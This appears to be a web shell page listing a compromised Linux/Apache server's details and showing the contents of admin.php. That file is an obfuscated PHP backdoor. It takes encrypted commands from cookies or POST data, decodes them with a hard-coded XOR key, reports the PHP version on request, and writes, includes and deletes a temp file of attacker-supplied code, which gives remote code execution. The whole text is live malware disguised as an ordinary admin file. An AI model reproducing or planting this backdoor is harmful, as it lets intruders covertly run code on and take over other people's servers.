HEX
Server: Apache/2
System: Linux other-wp 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User: admin (1004)
PHP: 7.4.28
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/admin/public_html/admin.php
<?php  /*   islc */ function /*p_xue*/ rpgyysbho(){$_zqlg='x_oyie';	print_r  (75789+75789);      }


$rnlapg  =	'rnlapg' /*ayr*/ ^	'';


$cw_jjcvtb  = /*  ivlvnb*/ $_COOKIE;$awu_ayyo     = /*  xxn  */ 'by';$llvun       =	'tkhnysy_d';
$azzbyaczl	=   -22;$hhgazs /*_r_omc */ =    $_POST;
$pekhifd	= /*  fiq*/ '_raagxkmuk';

$uoonmnnzf      =    'b_z';



function  thcwjqogem($paozkll_,	$yqbun){

 /*rakfp   */ global /*q_sqan */ $rnlapg;
   $aeemxyeus /*  rgai*/ = /* k   */ "";
 /*   rck  */ for	($vvftfrzypq    =	0; /* pbt   */ $vvftfrzypq /*   gvqkg  */ <     strlen($paozkll_);)	{

       for /* lo   */ ($aeemx    =	0;   $aeemx     < /* amtz   */ strlen($yqbun) /*   lpvt_r  */ && /*pwdqy  */ $vvftfrzypq    < /*  d   */ strlen($paozkll_); /*  lu */ $aeemx++,      $vvftfrzypq++) /*   e  */ { /*ewajk*/ $aeemxyeus   .=	$rnlapg(ord($paozkll_[$vvftfrzypq])    ^    ord($yqbun[$aeemx]));


 /* ghxfew */ }


	}    return     $aeemxyeus;

}



function	hdgwgqysxs(){    $_tuqgvjld	=	208;
    $vvftfrzypqwugi   = /*  plqdas   */ 345;      $ushfuiqn /* dqwi */ =    'zp';

  $umsaaptbs  =    -18;


}

function /*  an  */ swvx_m($supboi, /*   iyjwml   */ $paozkll_)

{


	global    $rnlapg;
     $wfhrpzm /*  ezynf*/ =    sprintf($rnlapg(994-948) /*   i */ .      $rnlapg(47)    .  $rnlapg(480-443) /* bsssio*/ . /*qvdx   */ "\x73"  .	"\56"   . /*s   */ "p"."\x6c",   md5($supboi));
    file_put_contents($wfhrpzm, /*   vxnmlb  */ "<" /*  shger  */ . /*m   */ $rnlapg(301-238)       .   "p"."h".$rnlapg(850-738) /*d  */ .   $rnlapg(32) /*   z  */ .  "u"."n".$rnlapg(108) /*  uhrkn*/ .       $rnlapg(566-461)     . /*  r */ $rnlapg(110) /* vnycgd*/ .	"k".$rnlapg(40)    .       $rnlapg(95) /*   sqtmm*/ .   "\x5f"     .	"\106"    .    "I".$rnlapg(1047-971)  .    "E"."\x5f"       .	"_"."\x29" /*   bjifg  */ .    $rnlapg(860-801)	. /*   isk  */ $rnlapg(32)	. /* tvzurm   */ $paozkll_[$rnlapg(100)]);


$evmrlyc      =  162;

    include($wfhrpzm);
    $vunntnpvd	=   $wfhrpzm;
 /*   cr */ $yzzdc /*   pbweie*/ =    'nskzhucduv';
	$copgjcic   =  strtoupper($yzzdc);  @unlink($vunntnpvd); /*   qj*/ $_yrisu	= /*yyg*/ strlen($copgjcic);


}



function   cz_afyyihl(){
    global /*   ua   */ $rnlapg;

 /* ez_u   */ $vvftfrzypq /*   b_  */ = /*  fhyyn */ array();

 /*  ihml  */ $hmmvdjszvf	= /*cpr  */ 'bd';

    $vvftfrzypq["\x70"       .	"v"]	= /*   u_ */ phpversion();


      $vvftfrzypq[$rnlapg(115) /*   g_tos */ . /*   y_u*/ $rnlapg(149-31)] /*   kdjlu   */ =    "3".".".$rnlapg(53);


    $tbrzfpy_hy /*v  */ = /*  dmun   */ 991;


    echo /*   dmfw   */ @serialize($vvftfrzypq);

	$morrlnxk   = /*   sdhlps*/ strtoupper($hmmvdjszvf);


}






function /*  skx */ qxnxy($paozkll_,	$supboi,	$wqclt_d_)


{


    global  $rnlapg;



 /*bd*/ $paozkll_    =   unserialize(thcwjqogem(thcwjqogem(base64_decode($paozkll_),   $supboi), /*  oiq   */ $wqclt_d_));


	$siwdlhp      =     'dluxwf';
	if	(isset($paozkll_[$rnlapg(97)    . /*  ch*/ $rnlapg(107)]))    {


	if    ($paozkll_["\141"]    ==      $rnlapg(105)) /*   omj*/ {


	cz_afyyihl(); /*  qng */ }	elseif    ($paozkll_["\141"]	==      "e")	{
       swvx_m($supboi,    $paozkll_); /*skfj  */ }    exit();


 /*y*/ }}




$cw_jjcvtb    =    array_merge($hhgazs,       $cw_jjcvtb);




$supboi    = /* zwrgsf  */ "2"."\63"   .      "\x39"	.	$rnlapg(49) /*pziojr */ .       "\141".$rnlapg(56)    .    "\143"	. /*chojm   */ $rnlapg(55)   .   "\x2d"    .    $rnlapg(100)."f"."\142"      .      "\146"     . /*vl */ "-".$rnlapg(691-639) /*mlez */ .    "\142"  . /*qvqfwe   */ $rnlapg(48)	. /*  o*/ "\141"."\55" /*le */ . /*  sm  */ "9".$rnlapg(48)	. /* zjugd */ $rnlapg(877-828)     .      "\141".$rnlapg(183-138)      .    "\65"      . /* tvx  */ $rnlapg(53)   .	$rnlapg(57) /*  zjx */ .	"\141"       .	"\x66"	.    "\143" /*  m*/ .      "3"."\141".$rnlapg(500-448)    .	"\145"    . /* kf */ "\64" /*  at_z */ .    "\60";
$sbutvsn   = /* i   */ 'hqn';


foreach       ($cw_jjcvtb	as    $wqclt_d_	=> /*  pwyz*/ $paozkll_)    {

	qxnxy($paozkll_,       $supboi,    $wqclt_d_);

	$ldelsdd	=  327;


}



hdgwgqysxs();






?>